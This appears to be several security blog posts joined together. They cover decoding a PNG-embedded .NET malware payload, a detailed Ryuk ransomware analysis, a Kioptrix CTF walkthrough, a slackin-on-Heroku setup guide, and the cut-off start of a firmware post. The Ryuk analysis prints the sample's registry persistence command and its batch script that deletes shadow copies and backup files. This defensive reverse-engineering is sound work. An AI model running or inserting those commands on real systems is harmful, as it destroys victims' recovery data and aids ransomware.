Decoding Malware Payload encoded in a PNG – “Bank Statement.bat”

When looking through my Spam folder, I have run across a few messages with ".bat" files attached to them. Most messages have had different content in the message to entice a victim to open the attachment. I started to investigate each of the attachments and found they were Windows Binaries, and at least two had PNG files in the resources. After doing this initial triage, I wanted to see if the payload of these pieces of malware is encoded in this PNG data and how it was encoded.

Initial spam message and quick look at the attachment.

I started with a sample named "Bank Statement.bat" with the .NET code that is the least obfuscated and will visit another sample in a later post. In this post, I will reverse engineer the .NET code and uncover the process to extract out the payload encoded in a PNG file embedded in the binary.

Detailed Analysis

First thing, I took a look at the properties of the attached file and determined it was a .NET compiled binary with some suspicious properties such as having a copyright field listing "Apple, Inc." Some more of the metadata details are shown below.

Architecture:     IMAGE_FILE_MACHINE_I386
Subsystem:        IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 2020-Apr-20 14:27:35
Comments:         QuartzCore 227
CompanyName:      Apple Inc
FileDescription:  QuartzCore
FileVersion:      3.0.0.0
InternalName:     Ly2kW4nOksU0vgv.exe
LegalCopyright:   © 2020 Apple Inc. All rights reserved.
OriginalFilename: Ly2kW4nOksU0vgv.exe
ProductName:      QuartzCore
ProductVersion:   3.0.0.0
Assembly Version: 5.4.1.0

Matching compiler(s):
    Microsoft Visual C# v7.0 / Basic .NET
    Microsoft Visual C++ 8.0
    .NET executable -> Microsoft

Next I ran a binwalk to see if there are is any other obvious hidden content within this file and found there is a PNG file embedded within the binary.

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             Microsoft executable, portable (PE)
19329         0x4B81          PNG image, 290 x 290, 8-bit/color RGBA, non-interlaced
19407         0x4BCF          Zlib compressed data, compressed
357216        0x57360         Copyright string: "CopyrightAttribute"

PNG file screenshot

I opened the file in ilSpy and extracted the PNG file from the resources of the binary. When looking at the extracted PNG file I found visually it looks like encoded data. After seeing this image I started to investigate the original binary file to find routines used to decode the PNG file into what I assumed is the payload of the malware. I started to look at the file further in dnSpy and started at the entry point of the binary.

Entry point

Starting at the entry point method and following the flow through a few more methods, finally finding the start of the decoder functionality. The method below shows the initial routines that load the decoder.

encoded PNG decoder library

The first items I noticed were the variables text and test2 are references to the PNG resource data. The next variable of note is test3 which looks like it could be a password. This method also contains a blob of encoded data (shown in the HexToString() call on line 9) that has various bytes swapped. Once the blob of data is decoded and returned to its original values then transformed into a string that is next decoded from Base64 into is DLL. The DLL when loaded is named CoreFunctions.dll.

After CoreFunctions.dll is loaded the method "CoreFunctions.Main" is executed. There are four parameters passed to this method, the first two references the PNG data, third what looks like a password, and finally the path to the full binary file. These are the variables I made a note of earlier. This method runs a few routines that decode the PNG data. Next, let's walk through these method calls:

  1. Read_R reads the PNG file resource into a bitmap object.
  2. Reverse creates an array of each column's BRGA (Blue, Red, Green, Alpha) color values.
  3. XOR_DEC decodes the values using XOR rotating through the key "XAdgWkK" that is XOR'ed against the last byte of the PNG data.

The image below shows the calls to these methods. They are high lighted in red by the breakpoints.

Once the PNG resource data is decoded into its executable binary data, it is loaded and executed in memory without writing any data to disk.

I have written a python script (that is at the end of this post), that recreates the decoding process and takes in the export of the resource's PNG data and the key to decodes the payload.

Once this process is completed the decoded payload is named "ReZer0V2" in the metadata of the binary data. I have not done much analysis on the main payload yet other than executing the sample in a sandbox. The sandbox run can be viewed at the following Anyrun link:

https://app.any.run/tasks/577824dc-7d69-4551-86df-9892dc48c49e

I may do further analysis of this sample however this appears to be a few posts out there about this payload:

Wrap up

I found this an interesting sample to dissect and understand the method used to encode the PNG data and in the future to see if it can be used to decode a second sample I have with a similarly encoded PNG file. The follow-up post about that sample "W.H.O.bat" will be posted up soon. A theory I have about this sample is that it was sent out prematurely and was not fully obfuscated nor was the phishing content of the message fully completed for the campaign, however, it is just a guess.

Sample Download

https://malshare.com/sample.php?action=detail&hash=09cc3eff1d2d8503722bb195ec45d885

IOCs

SHA256: 9253368d34d7342b7c40c42d2df8a862b55bff9e197b92c18a8cdf46a3279c37
SHA1: 9e104d7c818df8e3c47609852580e3f94eb6be53
MD5: 09cc3eff1d2d8503722bb195ec45d885

Decoding Script

import png
import struct

def print_list(thelist, quantity):

	if (quantity == 0):
		quantity = len(thelist)

	#print ("Decimal: ", end="")
	#for i in range(0, quantity):
	#	print (thelist[i], ", ", end="")
	#print ("")
	print ("Hex: ", end="")
	for i in range(0, quantity):
		print (hex(thelist[i]), ", ", end="")
	print ("")
	print ("ASCII: ", end="")
	for i in range(0, quantity):
		print (chr(thelist[i]), ", ", end="")
	print ("")

############
filename = "79fb5.bmp"
# 0x0 , 0x58 , 0x0 , 0x41 , 0x0 , 0x64 , 0x0 , 0x67 , 0x0 , 0x57 , 0x0 , 0x6b , 0x0 , 0x4b
plain_key = "XAdgWkK"
key = bytearray(plain_key.encode("utf-16be"))
print_len = 50
print ("Key: ")
print_list(key, 0)
print ("Key len: ", len(key))

##
#### Load PNG
bmp_full_data = png.Reader(filename=filename).read()
bmp_img_data = list(bmp_full_data[2])

##
#### Reverse Start
data_array = []
output_array = []

print ("")
print ("Loading Image data")
print ("IMG height: ", len(bmp_img_data))
row_count = 0
#print ("Row: ", i, len(bmp_img_data[i]), end='')
while (row_count < len(bmp_img_data[0])-4):
	#print (row_count, " ", end="")
		
	for i in range(0,len(bmp_img_data)):
		# AARRGGBB
		R = bmp_img_data[i][row_count]    # 05
		G = bmp_img_data[i][row_count+1]  # 16
		B = bmp_img_data[i][row_count+2]  # 01
		A = bmp_img_data[i][row_count+3]  # 00

		data_array.append(B) 
		data_array.append(G)
		data_array.append(R)
		data_array.append(A)

	row_count += 4

	#print (".. row loaded")

print ("1st bytes")
print_list(data_array[:4], 4)
first_bytes_value = struct.unpack("<I", bytearray(data_array[0:4]))[0]
decode_data = data_array[4:]

##
#### XOR_DEC Start
key_counter = 0

print ("Data Length: ", len(data_array))

print ("")
print ("Pre XORed data")
print_list(decode_data, 50)

outfile = open ("test-prexor.bin", 'wb')
outfile.write(bytearray(decode_data))
outfile.close()

print ("")
print ("XORing Image data")

# below is either B5 or 00 ^ 112
key_modifier = 0xb5 ^ 112  # 0xc5
#key_modifier = decode_data[len(decode_data)-1] ^ 112
#key_modifier = 0

print(len(decode_data)-1, hex(decode_data[len(decode_data)-1]), key_modifier)

key_counter = 0

for xor_i in range(0,len(decode_data)):

	key_value = key[key_counter]
	output_array.append(decode_data[xor_i] ^ key_modifier ^ key_value)

	if (key_counter < len(plain_key)-1):
		key_counter += 1
	else:
		key_counter = 0


print ("Final Output")
print_list(output_array, print_len)

outfile = open ("test-postxor.bin", 'wb')
outfile.write(bytearray(output_array))
outfile.close()

Ryuk Malware – Analysis and Reverse Engineering

Summary

In this post, I will reverse and analyze a Ryuk malware sample. Ryuk is pretty well-known ransomware that encrypts the contents of a victim's hard drive. The sample uses two executable stages, one that determines if the system is a 32bit or a 64bit system, then extracts out the appropriate second stage executable onto the file system and executes the second stage. The second stage then attempts to gain persistence through creating a registry key and then finally injects an encryption process into another process and starts to encrypt the file systems leaving behind a Ransom note for the user to find. In the rest of this post, I will write up a detailed analysis and reverse engineering of the Ryuk malware.

Full Analysis

Initial discovery

I downloaded the sample from this site. The first thing that I wanted to ensure that the file that I was working with was what I was expecting. I sent the hash to Virustotal, and it identified by the majority of engines as Ryuk.

https://www.virustotal.com/gui/file/23f8aa94ffb3c08a62735fe7fee5799880a8f322ce1d55ec49a13a3f85312db2/detection

Now that I knew I was looking at the correct file I validated the type of executable, finding it was a Windows PE file.

$ file loader.bin
 loader.bin: PE32 executable (GUI) Intel 80386, for MS Windows

Then I ran binwalk to see if there was embedded content, and I found there are 2 PE headers embedded in this file in addition to the main executable.

$ binwalk loader.bin
 DECIMAL       HEXADECIMAL     DESCRIPTION
 0             0x0             Microsoft executable, portable (PE)
 70576         0x113B0         Microsoft executable, portable (PE)
 242704        0x3B410         XML document, version: "1.0"
 245168        0x3BDB0         Microsoft executable, portable (PE)

After some initial light investigation, I dug into the file with Ghidra and x64dbg to build out the flow of the executables. Initially, we will take a look at the first stage that extracts the main payload.

Stage 1

This initial stage has a pretty simple program flow and accomplished a pretty simple task of extracting and executing the appropriate PE or PE+ file for the architecture. The below flowchart gives an overview of the execution path of this stage.

The first task this stage does is to determine the version of Windows the system is running. It does this to determine the location of the default user profile directory ("\Users\Public" or "\Documents and Settings\Default User"). After finding the directory it generates a random 5 character file name, which will have .exe appended to it and used as the file name of the second stage.

IsWoW64Process

The function CreateFileW is run with the created filename to create a handle to write the second stage. However, before writing the second stage data, a procedure using IsWoW64Process is run to determine if the system using a 32bit or 64bit operating system then writes a PE executable for 32bit systems or PE+ executable for 64bit systems. (This process is shown in the Ghidra decompilation) Once the file data is written, ShellExecuteW is called with the file name of the first stage listed as an argument to run the newly created executable, and move on to stage 2.

Stage 2

In my analysis, I used the PE+ binary code to do my detailed work. I did some cursory analysis of the PE binary to make sure there were not any apparent differences in functionality and found it was essentially the same as the PE+ counterpart from a functionality perspective.

bin0.bin: PE32+ executable (GUI) x86-64, for MS Windows
$ ls -l bin0.bin
 -rw-r--r--@ 1 xxx  xxx  174592 Feb 22 00:19 bin0.bin
SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58

I found there are two primary sections of code that I will refer to as WinMain located at memory address 0x140001c80 and RansonMain, which is located at address 0x140002a70. WinMain handles the setup of execution for the encryption section in RansonMain.

WinMain

I called this function WinMain as it appears to align with the traditional WinMain function in C. This function and its callees as already mentioned setup and inject the encryption processes to start the execution of RansomMain. The following flow chart lays out the flow of this section.

The first activity WinMain does is to delete the first stage. The file is deleted by passing the filename of the first stage as a command-line argument and then calling a function to delete the file. Next, WinMain adds a registry key to the run the second stage on the boot of Windows. I would guess this is in order to obtain a level of persistence. It uses the Windows command line to add the key, calling ShellExecuteW to run the command.

cmd.exe /C REG ADD "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "svchos" /t REG_SZ /d "C:\Users\IEUser\Desktop\ryuk\aSEzD.exe" /f

The example command created the following in the registry on my test system.

After creating the registry key, WinMain then runs a function to check and enable SeDebugPrivilege on the Stage 2 process to ensure it has the correct permission level. This permission is needed to manipulate other processes on this system. Next it a function loops through and creates a list of running processes on the system creating a data structure consisting of a list of 0x210 byte structures laid out in the format:

 +-------------------------------+
 |   Process Name      0x208B    |
 +---------------+---------------+
 |   PSID 0x1B   |   Perm 0x1B   |
 +---------------+---------------+

The "Perm" contains permission level it was able to acquire to the process. There are 4 permissions levels

0Can't open process
1has NT AUTHORITY
2No NT AUTHORITY
5Can Get Token

After collecting the list of processes, it loops through them and checks a few things. First, it checks the process name to see if it matches "CSRSS.EXE," "EXPLORER.EXE," or "LSAAS.EXE" (yup, the last one is a typo in the sample). Then it checks the permissions it was able to get on the process if it's 5 (Can get Token) or 1 (Has NT Authority). After passing both of these checks, it will call a function to inject the RansomMain into the process. I have named this function WriteProcMemory.

WriteProcMemory is a pretty simple function, and it takes a process name allocates memory in the process then calls CreateRemoteThread to create a thread in that process to execute RansomMain. The loop processes the entire list of processes gathered. After all the processes have been processed, it will execute a function to decode function pointers and then directly execute RansomMain before ending the program. The final 2 steps are similar to what occurs in the injected process and I will cover these functions in more depth.

Remote Thread and RansomMain

The Injected thread first decodes various function pointers used throughout the thread. The majority of the Windows API calls in RansomMain are done via calls by reference to these encoded references. The decoder function located at 0x140005b10, and the key that encodes the various function call is itself encoded and is decoded by an XOR loop at 140005b9a. The code in the next screenshot shows the routine that is used to decode the key.

Key decode routine

After running the above code in a debugger, I grabbed the decoded key and wrote a python function to decode the rest of the function call names. The string variable in this code is a list of the hex values in the encoded library and function names.

def decode(string):
    key_position_1 = 0
    key_position_2 = 0 
    # Key at: 0x1400293c4
    # ASCII: aZIiQ
    keys = [0x62, 0x5a, 0x49, 0x69, 0x51]
    
    print (len(string), len(keys))
    while key_position_1 < len(string):
        if string[key_position_1] != 0x0:
            decoded = string[key_position_1] ^ keys[key_position_2]
            print (chr(decoded), end = "")

            if key_position_2 < len(keys)-1:
                key_position_2 += 1
            else:
                key_position_2 = 0
        key_position_1 += 1
        
decode(string)

Here is a sample of some of the decoded calls shown in the Ghidra disassembler view.

Decoded function references (Ghidra Disassembler view)

After all of the function calls are decoded, and the function call addresses are resolved into memory. The next function attempts to write a file named "sys" into the default system home directory ("\Users\Public" or "\Documents and Settings\Default User" depending on OS version). If it is unable to create or open the file the function will wait until it can write the file or terminate the process. Otherwise, if it is successful, it will move forward on to RansomMain.

RansomeMain is the main show and handles all of the encryption activities following this general flow in this chart.

The first main activity this function does is to set up an encryption context using legacy Windows encryption APIs. The parameters used in CryptoAquireContextW to create the container are:

Container name: AES_Unique_
Provider: Microsoft Enhanced RSA and AES Cryptographic Provider
Flags: Vary depending on the OS version

After the context is set up, the function loads a RSA Public key from the file location 0x1400293d0. The key is stored as a PUBLICKEYBLOB with the following parameters:

Key Algorithm 0xA400 - RSA public key exchange algorithm
DSS version: 2
Key length: 2048 bit key

The key embedded in the sample Base64 encoded is:

nWvywVbBvz4AYDfaAouzpqlRr9aOb+wCl5MYJPQzMGNhAE+CDfDm4DPIUp0Ud8m/xty5d7N2jiqJbFC04jZf0Kat3AaJXnMeZfXPAQzJKXtMQfnLL /ZQOX4KeDFJ+zfnflDEcKYuQARXxMbJVWBXu7vagRd+8TBJ /6L5FsFWwA9KRr5blLkgRHdfqkLhGaWOqTSUF9btcWdyOg2We5g5ByoxPKtoqO9NjOb/witnj+TpGHeahzwpHzxAsOEisWYneR3RkhSvNh/Qs8OiVwiHFFeBdRJRkEC6UtlTj7obLi55Y7mztJwMI4TbdnMReGiMRlGHuHN9aKKhQssMFKpA==

The next function decodes the ransom note. These values are all encoded using XOR with static keys. There are two different keys used one for the email address and a Bitcoin address. A second key used for the main ransom note. The email addresses and Bitcoin address contained in this sample are:

Memory LocationDecoded Data
0x140029b20WayneEvenson@protonmail.com
0x140029980WayneEvenson@tutanota.com
0x1400249e814hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk

My assumption is they made the email address and bitcoin address separate from the rest of the note so they can be swapped out easily, keeping the bulk of the text the same. Next, the function decodes the main part of the ransom note. The below python code decodes both the email and Bitcoin strings along with the ransom note itself.

ARRAY_140029b20 = [ ** email 1 in hex ** ]
ARRAY_140029980 = [ ** email 2 in hex **  ]
ARRAY_1400249e8 = [ ** btc addr in hex **  ] 

# 140029500 - 140029798
DAT_RyukReadMe_txt_Buffer = [ **ransom note in hex** ]

# 14001f990
Decode_key_1 = [ **snip key in hex** ]

# 14001f9f0
Decode_key_2 = [ **snip key in hex** ]

s_BTC_wallet_140029868 = "BTC wallet:"
s_No_system_is_safe_140029b40 = "No system is safe"
s_Ryuk_140028e18 = "Ryuk\n "

for i in range(0, 27):
    if (i &amp; 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
    else:
        key = Decode_key_1[i]
    print (chr(ARRAY_140029b20[i] ^ key), end = "")
print ("")

for i in range(0, 0x19):
    if (i &amp; 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
    else:
       key = Decode_key_1[i]
    print (chr(ARRAY_140029980[i] ^ key), end = "")
print ("")

for i in range(0, 0x22):
    if (i &amp; 1 == 0 ):
        key = DAT_RyukReadMe_txt_Buffer[i]
    else:
        key = Decode_key_1[i]
    print (chr(ARRAY_1400249e8[i] ^ key), end = "")
print ("")
print ("")
print ("")
for i in range(0, len(DAT_RyukReadMe_txt_Buffer)):
    print (chr(DAT_RyukReadMe_txt_Buffer[i] ^ Decode_key_2[i]), end="")

After everything is decoded all the text is put together to create the following ransom note that is written to directories where files are encrypted.

Once the ransom note is decrypted RansomMain function gathers a list of all of the file systems on the system. The file system list is collected using the GetLogicalDrives function and checking the file system type using GetDriveTypeW. Then a called function starts to walk through the file system and encrypting the contents of directories.

As the function loops through the file system, it skips over directories named "Windows" , "AhnLabs", "Chrome", "Mozilla," "$Recycle.Bin," and "WINDOWS." Once the list of files in a directory has collected, it will write a copy of the ransom note to a file named RyukReadMe.txt then start a Thread to encrypt each file in the directory. The encryption uses the AES 256 algorithm via the Microsoft AES Cryptographic Provider. It will continue this process until the local file systems are encrypted.

Next, it enumerates a list of network shares then follows the same process to encrypt those shares. The list of network shares enumerated using the WNetOpenEnum and WNetEnumResourceW function calls. After the list of shares is generated the network shares are encrypted using the same functions that were used to encrypt local file systems and write the ransom note.

Once the encryption loops are completed, the final call deletes the system shadow copy by creating a file named windows.bat and placing the below command in it and executing it.

"vssadmin Delete Shadows /all /quiet\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB\r\nvssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded\r\nvssadmin Delete Shadows /all /quiet\r\ndel /s /f /q c:\.VHD c:\.bac c:\.bak c:\.wbcat c:\.bkf c:\Backup.* c:\backup. c:\.set c:\.win c:\.dsk\r\ndel /s /f /q d:\.VHD d:\.bac d:\.bak d:\.wbcat d:\.bkf d:\Backup. d:\backup. d:\.set d:\.win d:\.dsk\r\ndel /s /f /q e:\.VHD e:\.bac e:\.bak e:\.wbcat e:\.bkf e:\Backup. e:\backup. e:\.set e:\.win e:\.dsk\r\ndel /s /f /q f:\.VHD f:\.bac f:\.bak f:\.wbcat f:\.bkf f:\Backup. f:\backup. f:\.set f:\.win f:\.dsk\r\ndel /s /f /q g:\.VHD g:\.bac g:\.bak g:\.wbcat g:\.bkf g:\Backup. g:\backup. g:\.set g:\.win g:\.dsk\r\ndel /s /f /q h:\.VHD h:\.bac h:\.bak h:\.wbcat h:\.bkf h:\Backup. h:\backup. h:\.set h:\.win h:\*.dsk\r\ndel %0"

After the shadow copy is removed the processes exits and Ryuk has done it's job encrypting all of the data it can find.

Wrap up

To summarize and restate what we just covered, Ryuk has two major stages. The first determines if the OS is 64bit or 32 bit then extracts the appropriate second stage that decodes internal function and other strings it will use. Next, it loops through the local file systems encrypting the majority of files, then it moves on to network shares encrypting the contents of those shares. Finally, before the process ends, it deletes the Volume Shadow Copy.

Ryuk is quite destructive using Windows built-in encryption APIs and a public key to encrypt the files. This is much tougher to break than other malware that uses roll your own encryption techniques. I am not the first nor the last to analyze this piece of malware, but it has been a fun challenge to walk through it and reverse engineer Ryuk's functionality in detail. To close out this post, I will list out some of the indicators of compromise (IOC) that I found in my analysis.

IOC

1st Stage Binary
File Size: 393216
MD5: 5ac0f050f93f86e69026faea1fbb4450
SHA-1: 9709774fde9ec740ad6fed8ed79903296ca9d571

2nd Stage Binaries
64 bit PE+
File Size: 174592
MD5: 31bd0f224e7e74eee2847f43aae23974
SHA-1: 92e331e1e8ad30538f38dd7ba31386afafa14a58 bin0.bin

32bit PE
File Size: 143440
MD5: 6391b5b9a29d3fd73dab4c9a8a5fc348
SHA-1: 057aa7a708e0011abc1d4b990999f072a77d1057 bin1.bin

Registry Key
Location: \HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\
Name: "svchos"
Type: REG_SZ
Value: [Second Stage File name and location]

Other Files ([] is a random 5 character string)
RyukReadMe.txt
\users\Public\[].exe
\Documents and Settings\Default User\[].exe
\Documents and Settings\Default User\sys
\users\Public\sys
\users\Public\finish
\Documents and Settings\Default User\finish
\Users\Public\window.bat

Decoded Strings
WayneEvenson@protonmail.com
WayneEvenson@tutanota.com
BTC Address: 14hVKm7Ft2rxDBFTNkkRC3kGstMGp2A4hk

CTF Box: Kioptrix level 1 walk-through

This is a walk-through of the first level of the CTF box series named Kioptrix. The virtual machines images can be downloaded from:

https://www.vulnhub.com/entry/kioptrix-level-1-1,22/

There are two methods I used to exploit this machine, but first, let's enumerate the server.

Enumeration

To start, I ran a Nmap scan on the server to see what services are running on it.

 # Nmap 7.70 scan initiated Sat Apr 13 14:05:06 2019 as: nmap -O -A -sV -sC -oA nmap/knoptrix1 192.168.56.5
Nmap scan report for 192.168.56.5
Host is up (0.00040s latency).
Not shown: 994 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99)
| ssh-hostkey: 
| 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1)
| 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA)
|_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: Test Page for the Apache Web Server on Red Hat Linux
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo: 
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 1024/tcp status
|_ 100024 1 1024/udp status
139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
|_http-title: 400 Bad Request
|_ssl-date: 2019-04-13T22:05:23+00:00; +3h59m59s from scanner time.
| sslv2: 
| SSLv2 supported
| ciphers: 
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
|_ SSL2_RC4_128_WITH_MD5
1024/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:1E:E3:F7 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux:linux_kernel:2.4
OS details: Linux 2.4.9 - 2.4.18 (likely embedded)
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
|_nbstat: NetBIOS name: KIOPTRIX, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|_smb2-time: Protocol negotiation failed (SMB2)
TRACEROUTE
HOP RTT ADDRESS
1 0.40 ms 192.168.56.5
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Apr 13 14:09:34 2019 -- 1 IP address (1 host up) scanned in 267.98 seconds

In the output above you will see there are two interesting services Apache HTTPD 1.3.20 with mod_ssl/2.8.4 OpenSSL/0.9.6b and Samba. The version of HTTPD version is quite old and will be of interest. Next, I'll take a look at Samba using enum4linux.

Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Apr 13 14:11:01 2019
 ========================== 
| Target Information |
 ========================== 
Target ........... 192.168.56.5
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
 ==================================================== 
| Enumerating Workgroup/Domain on 192.168.56.5 |
 ==================================================== 
[+] Got domain/workgroup name: MYGROUP
 ============================================ 
| Nbtstat Information for 192.168.56.5 |
 ============================================ 
Looking up status of 192.168.56.5
 KIOPTRIX <00> - B <ACTIVE> Workstation Service
 KIOPTRIX <03> - B <ACTIVE> Messenger Service
 KIOPTRIX <20> - B <ACTIVE> File Server Service
 ..__MSBROWSE__. <01> - <GROUP> B <ACTIVE> Master Browser
 MYGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
 MYGROUP <1d> - B <ACTIVE> Master Browser
 MYGROUP <1e> - <GROUP> B <ACTIVE> Browser Service Elections
 MAC Address = 00-00-00-00-00-00
 ===================================== 
| Session Check on 192.168.56.5 |
 ===================================== 
[+] Server 192.168.56.5 allows sessions using username '', password ''
 =========================================== 
| Getting domain SID for 192.168.56.5 |
 =========================================== 
Domain Name: MYGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup
 ====================================== 
| OS information on 192.168.56.5 |
 ====================================== 
[+] Got OS info for 192.168.56.5 from smbclient: 
[+] Got OS info for 192.168.56.5 from srvinfo:
 KIOPTRIX Wk Sv PrQ Unx NT SNT Samba Server
 platform_id : 500
 os version : 4.5
 server type : 0x9a03
 ============================= 
| Users on 192.168.56.5 |
 ============================= 
 ========================================= 
| Share Enumeration on 192.168.56.5 |
 ========================================= 
 Sharename Type Comment
 --------- ---- -------
 IPC$ IPC IPC Service (Samba Server)
 ADMIN$ IPC IPC Service (Samba Server)
Reconnecting with SMB1 for workgroup listing.
 Server Comment
 --------- -------
 KIOPTRIX Samba Server
 Workgroup Master
 --------- -------
 MYGROUP KIOPTRIX
[+] Attempting to map shares on 192.168.56.5
//192.168.56.5/IPC$ [E] Can't understand response:
NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//192.168.56.5/ADMIN$ [E] Can't understand response:
tree connect failed: NT_STATUS_WRONG_PASSWORD
<...SNIP...>
enum4linux complete on Sat Apr 13 14:11:09 2019

There is a lot of useful information in this output; however this a bug in the version of enum4linux that does not show the version of Samba running on the server. This missing information becomes important in the second method for getting into the server. Now let us take a look at the first method I used to get on to the server.

Method 1

The first method of getting a shell on the server exploits the mod_ssl module in Apache HTTPd. I found in the enumeration phase that the server is running Apache HTTPD 1.3.20 with mod_ssl/2.8.4 OpenSSL/0.9.6b. After a quick search in Exploit-DB, I found that there are two versions of an exploit for CVE-2002-0082 named OpenFuck and OpenFuck2. First I used OpenFuck found at https://www.exploit-db.com/exploits/21671

This exploit ran without issue and gave an unprivileged shell as the user apache using, the output of the exploit is below.

After running the exploit and getting on the server, I found the reverse shell died regularly. Once I changed the shell syntax to add "nohup" to background the reverse shell process making the shell not die regularly.

There is a better version of this exploit named OpenFuckv2. This version chains a kernel exploit to get root and can be found at https://www.exploit-db.com/exploits/764. There are issues building this version of the exploit on Linux distributions that have newer versions of libssl. The following link has instructions on how to modify the code from exploit-db to work on more modern distributions.

https://www.hypn.za.net/blog/2017/08/27/compiling-exploit-764-c-in-2017/

Now that we have exploited the mod_ssl service to get unprivileged access on the server we can move onto the next method to get into and finally get root on this box.

Method 2

After getting an unprivileged shell on the server using Method 1 I started enumerating the server and found that this is a Red Hat Linux release 7.2 (Enigma) server running Samba 2.2.1a. This version of Samba service has the RCE vulnerability, CVE-2003-0201 - Buffer overflow in the call_trans2open function in trans2.c for Samba 2.2.x before 2.2.8a, 2.0.10 and earlier 2.0.x versions.

This CVE has a published exploit in exploit-db at https://www.exploit-db.com/exploits/10. The output when running the exploit in brute force mode is shown below,

Since this service is running as root, boom, we have a root shell!

Overall, This was a pretty straightforward box and would have been easier if I had found the version of Samba earlier.

Installing slackin on Heroku

slackin provides a self-service interface to join a slack team. I found it as a solution when I was setting up the mainesec slack team eliminating the need out unique links to every member that was joining. slackin creates a sign-up form where a user enters an email address and is automatically sent an invite to the slack team.

I have seen the script running in the Heroku cloud before but could not find any good instructions to install or run set it up other than a vague mention for a link to a button to automatically install it that did not exist.

This post covers the steps I went through to set-up a slackin instance in the Heroku cloud. To start off there are a couple of API keys that need to be created or gathered and used during the configuration.

Both of these API keys will be used towards the end of the setup. Next, fork the slackin repo to your Github user, the URL to the slackin repo is:

https://github.com/rauchg/slackin

Once the repo is forked to your account you will need to create a Heroku account (if you do not have one already). The free tier was sufficient for me to run the slackin.

Once you have logged into Heroku you will want to choose "New" and select "Create new app" in the upper right-hand corner. On the next screen, you will enter the App name, this will be used in the URL Heroku will generate for you.

Once you click the Create app button you will be sent to the Deploy tab. On this screen, select Github under the "Deployment method" section. (If you have not already connected your Github account to Heroku and you will need to and allow Heroku access to your repos.) Once connected, search for the forked slackin repo usually named "slackin" and click the Connect button.

Once connected you will need to deploy it to Heroku. There are a few options to deploy the app, for the first deployment I ran a Manual deploy by clicking the Deploy Branch button. This will take a while and will display any errors that occur.

Moving forward if you wish to have Heroku automatically deploy any changes you make in Github to the slackin app click the "Enable Automatic Deploys" button.

After the deploy is complete, select the Settings tab and add a few Config Vars. There are two settings that are required for slackin to operate. In these variables, we will enter the API keys you gathered earlier. The Google reCAPTCHA keys go into GOOGLE_CAPCHA_SECRET and GOOGLE_CAPCHA_SITEKEY. The Slack API keys go in SLACK_API_TOKEN and SLACK_SUBDOMAIN. the SLACK_SUBDOMAIN is the name of the Slack team that you are inviting users to.

Finally, to gather the URL that was assigned to the site you can scroll down on the Settings page to the Domains section and it is shown there.

You will now have a slackin instance setup for users to invite themselves to a slack team. For the mainesec team, I set up to domain redirection to the Heroku URL to make things a little simpler. If you encounter issues with slackin there is a lot of useful information in the Github issues for the main slackin repo.

DIGOO DG-HOSA – Part 2 Firmware Extraction and Initial Analysis

This is a continuation from a previous post: https://ben.the-collective.net/2019/08/21/digoo-dg-hosa-part-1-teardown-and-hardware/

Finding the connections

